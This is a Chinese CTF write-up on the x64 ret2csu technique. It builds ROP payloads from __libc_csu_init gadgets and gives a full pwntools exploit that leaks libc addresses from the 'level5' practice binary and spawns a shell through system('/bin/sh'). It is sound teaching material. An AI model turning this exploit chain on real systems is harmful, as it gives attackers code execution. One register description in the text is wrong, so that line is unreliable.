CTF-PWN

gadget_libc_csu_init

2019-04-03  本文已影响264人  Thriumph

原理:

程序在编译的过程中通常会加入一些通用函数进行初始化操作,很多程序的源码不同,但初始化的过程是相同的,针对这些初始化函数,可以提取通用的gadgets使用。

_libc_cus_init函数

主要针对64位程序的,与32位的栈传参不同的是,64位函数中函数前6个参数是通过寄存器传递的,但很难找到每一个寄存器对应的gadgets。可以利用x64的_libc_csu_init中的gadgets,这个函数是用来对libc进行初始化操作的,而且一般程序都会调用libc函数,所以这个函数一定会存在。

.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0                 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near               ; DATA XREF: _start+16�o
.text:00000000004005C0                 push    r15
.text:00000000004005C2                 push    r14
.text:00000000004005C4                 mov     r15d, edi
.text:00000000004005C7                 push    r13
.text:00000000004005C9                 push    r12
.text:00000000004005CB                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004005D2                 push    rbp
.text:00000000004005D3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA                 push    rbx
.text:00000000004005DB                 mov     r14, rsi
.text:00000000004005DE                 mov     r13, rdx
.text:00000000004005E1                 sub     rbp, r12
.text:00000000004005E4                 sub     rsp, 8
.text:00000000004005E8                 sar     rbp, 3
.text:00000000004005EC                 call    _init_proc
.text:00000000004005F1                 test    rbp, rbp
.text:00000000004005F4                 jz      short loc_400616
.text:00000000004005F6                 xor     ebx, ebx
.text:00000000004005F8                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54�j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    qword ptr [r12+rbx*8]
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34�j
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
.text:0000000000400624 __libc_csu_init endp

gadget1可以利用栈溢出构造栈上的数据从而控制rbx,rbp,r12,r13,r14,r15寄存器的数据。

.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54�j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    qword ptr [r12+rbx*8]

将r13的值赋给rdx,r12的值赋给r14,将r15的值赋给edi,然后调用call qword ptr [r12+rbx*8]通过控制r12和rbx的值来控制执行想要执行的函数。然后判断rbx+1是否与rbp相等,如果相等就继续执行,然后ret到想要继续执行的地址。

例:蒸米的level5

查看基本信息,开启了堆栈不可执行保护

level.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() 
{
    char buf[128];
    read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) 
{
    write(STDOUT_FILENO, "Hello, World\n", 13);
    vulnerable_function();
}

这个程序仅仅只有一个buffer overflow,也没有任何的辅助函数可以使用,所以我们要先想办法泄露内存信息,找到system()的值,然后再传递“/bin/sh”到.bss段, 最后调用system(“/bin/sh”)。因为原程序使用了write()和read()函数,我们可以通过write()去输出write.got的地址,从而计算出libc.so在内存中的地址。但问题在于write()的参数应该如何传递,因为x64下前6个参数不是保存在栈中,而是通过寄存器传值。我们使用ROPgadget并没有找到类似于pop rdi, ret,pop rsi, ret这样的gadgets。但是在x64下有一些万能的gadgets可以利用。用objdump -d ./level5观察一下__libc_csu_init()这个函数。一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作。

00000000004005c0 <__libc_csu_init>:
  4005c0:   41 57                   push   %r15
  4005c2:   41 56                   push   %r14
  4005c4:   41 89 ff                mov    %edi,%r15d
  4005c7:   41 55                   push   %r13
  4005c9:   41 54                   push   %r12
  4005cb:   4c 8d 25 3e 08 20 00    lea    0x20083e(%rip),%r12        # 600e10 <__frame_dummy_init_array_entry>
  4005d2:   55                      push   %rbp
  4005d3:   48 8d 2d 3e 08 20 00    lea    0x20083e(%rip),%rbp        # 600e18 <__init_array_end>
  4005da:   53                      push   %rbx
  4005db:   49 89 f6                mov    %rsi,%r14
  4005de:   49 89 d5                mov    %rdx,%r13
  4005e1:   4c 29 e5                sub    %r12,%rbp
  4005e4:   48 83 ec 08             sub    $0x8,%rsp
  4005e8:   48 c1 fd 03             sar    $0x3,%rbp
  4005ec:   e8 0f fe ff ff          callq  400400 <_init>
  4005f1:   48 85 ed                test   %rbp,%rbp
  4005f4:   74 20                   je     400616 <__libc_csu_init+0x56>
  4005f6:   31 db                   xor    %ebx,%ebx
  4005f8:   0f 1f 84 00 00 00 00    nopl   0x0(%rax,%rax,1)
  4005ff:   00 
  400600:   4c 89 ea                mov    %r13,%rdx
  400603:   4c 89 f6                mov    %r14,%rsi
  400606:   44 89 ff                mov    %r15d,%edi
  400609:   41 ff 14 dc             callq  *(%r12,%rbx,8)
  40060d:   48 83 c3 01             add    $0x1,%rbx
  400611:   48 39 eb                cmp    %rbp,%rbx
  400614:   75 ea                   jne    400600 <__libc_csu_init+0x40>
  400616:   48 83 c4 08             add    $0x8,%rsp
  40061a:   5b                      pop    %rbx
  40061b:   5d                      pop    %rbp
  40061c:   41 5c                   pop    %r12
  40061e:   41 5d                   pop    %r13
  400620:   41 5e                   pop    %r14
  400622:   41 5f                   pop    %r15
  400624:   c3                      retq

先构造playload1,利用write()输出write的内存地址,gadget是call qword ptr[r12+rb*8],应该使用write.got的地址,再返回原程序中重复利用buffer overflow的漏洞,需要继续覆盖栈上的数据直到main()函数
playload1

#rdi=edi=r15, rsi=r14, rdx=r13
#write(rdi=1,rsi=write_got,rdx=8)
payload1 = "\x00"*136
                #pop        junk      rbx      rbp         r12           r13         r14           r15          ret
payload1 += p64(0x400616) + p64(0) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) + p64(0x400600)
payload1 += "\x00"*56  #0x38
payload1 += p64(main_addr)

exp收到write()的内存地址后,可以计算出system()再内存中的地址,利用read()将system()的地址以及“/bin/sh”读入到bss.段内存中

#rdi=edi=r15, rsi=r14, rdx=r13
#read(rdi=0,rsi=bss_addr,rdx=16)
payload2 = "\x00"*136
                #pop        junk      rbx      rbp         r12           r13         r14           r15          ret
payload2 += p64(0x400616) + p64(0) + p64(0) + p64(1) + p64(read_got) + p64(16) + p64(bss_addr) + p64(0) + p64(0x400600)
payload2 += "\x00"*56
payload2 += p64(main_addr)

最后调用system()函数执行"/bin/sh",system()的地址保存早。bss段的首地址上,"/bin/sh"的地址存在.bss段首地址+8字节上
playload3

#rdi=edi=r15, rsi=r14, rdx=r13
#system(rdi=bss_addr+8="/bin/sh\0")
payload3 = "\x00"*136
                #pop        junk      rbx      rbp         r12           r13         r14           r15          ret
payload3 += p64(0x400616) + p64(0) + p64(0) + p64(1) +p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8) + p64(0x400600)
payload3 += "\x00"*56
payload3 += p64(main_addr)

copy来的exp。。。

#!/usr/bin/env python
from pwn import *

elf = ELF('level5')
libc = ELF('libc.so.6')

p = process('./level5')
#p = remote('127.0.0.1',10001)

write_got = elf.got['write']
print "write_got= " + hex(write_got)

read_got = elf.got['read']
print "read_got= " + hex(read_got)

main_addr = 0x400587

system_off_addr = libc.symbols['write'] - libc.symbols['system']
print "system_off_addr= " + hex(system_off_addr)

#rdi=edi=r15, rsi=r14, rdx=r13
#write(rdi=1,rsi=write_got,rdx=8)
payload1 = "\x00"*136
                #pop        junk      rbx      rbp         r12           r13         r14           r15          ret
payload1 += p64(0x400616) + p64(0) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) + p64(0x400600)
payload1 += "\x00"*56  #0x38
payload1 += p64(main_addr)

p.recvuntil("Hello, World\n")

print "\n################seding payload1################\n"
p.send(payload1)
sleep(1)

write_addr = u64(p.recv(8))
print "write_addr= " + hex(write_addr)

system_addr = write_addr - system_off_addr
print "system_addr= " + hex(system_addr)

bss_addr = 0x601040


#rdi=edi=r15, rsi=r14, rdx=r13
#read(rdi=0,rsi=bss_addr,rdx=16)
payload2 = "\x00"*136
                #pop        junk      rbx      rbp         r12           r13         r14           r15          ret
payload2 += p64(0x400616) + p64(0) + p64(0) + p64(1) + p64(read_got) + p64(16) + p64(bss_addr) + p64(0) + p64(0x400600)
payload2 += "\x00"*56
payload2 += p64(main_addr)

p.recvuntil("Hello, World\n")

print "\n###############seding payload2################\n"
p.send(payload2)
sleep(1)

p.send(p64(system_addr))
p.send("/bin/sh\0")
sleep(1)

#rdi=edi=r15, rsi=r14, rdx=r13
#system(rdi=bss_addr+8="/bin/sh\0")
payload3 = "\x00"*136
                #pop        junk      rbx      rbp         r12           r13         r14           r15          ret
payload3 += p64(0x400616) + p64(0) + p64(0) + p64(1) +p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8) + p64(0x400600)
payload3 += "\x00"*56
payload3 += p64(main_addr)

p.recvuntil("Hello, World\n")

print "\n##############seding payload3###############\n"
p.send(payload3)
sleep(1)

p.interactive()
上一篇下一篇

猜你喜欢

热点阅读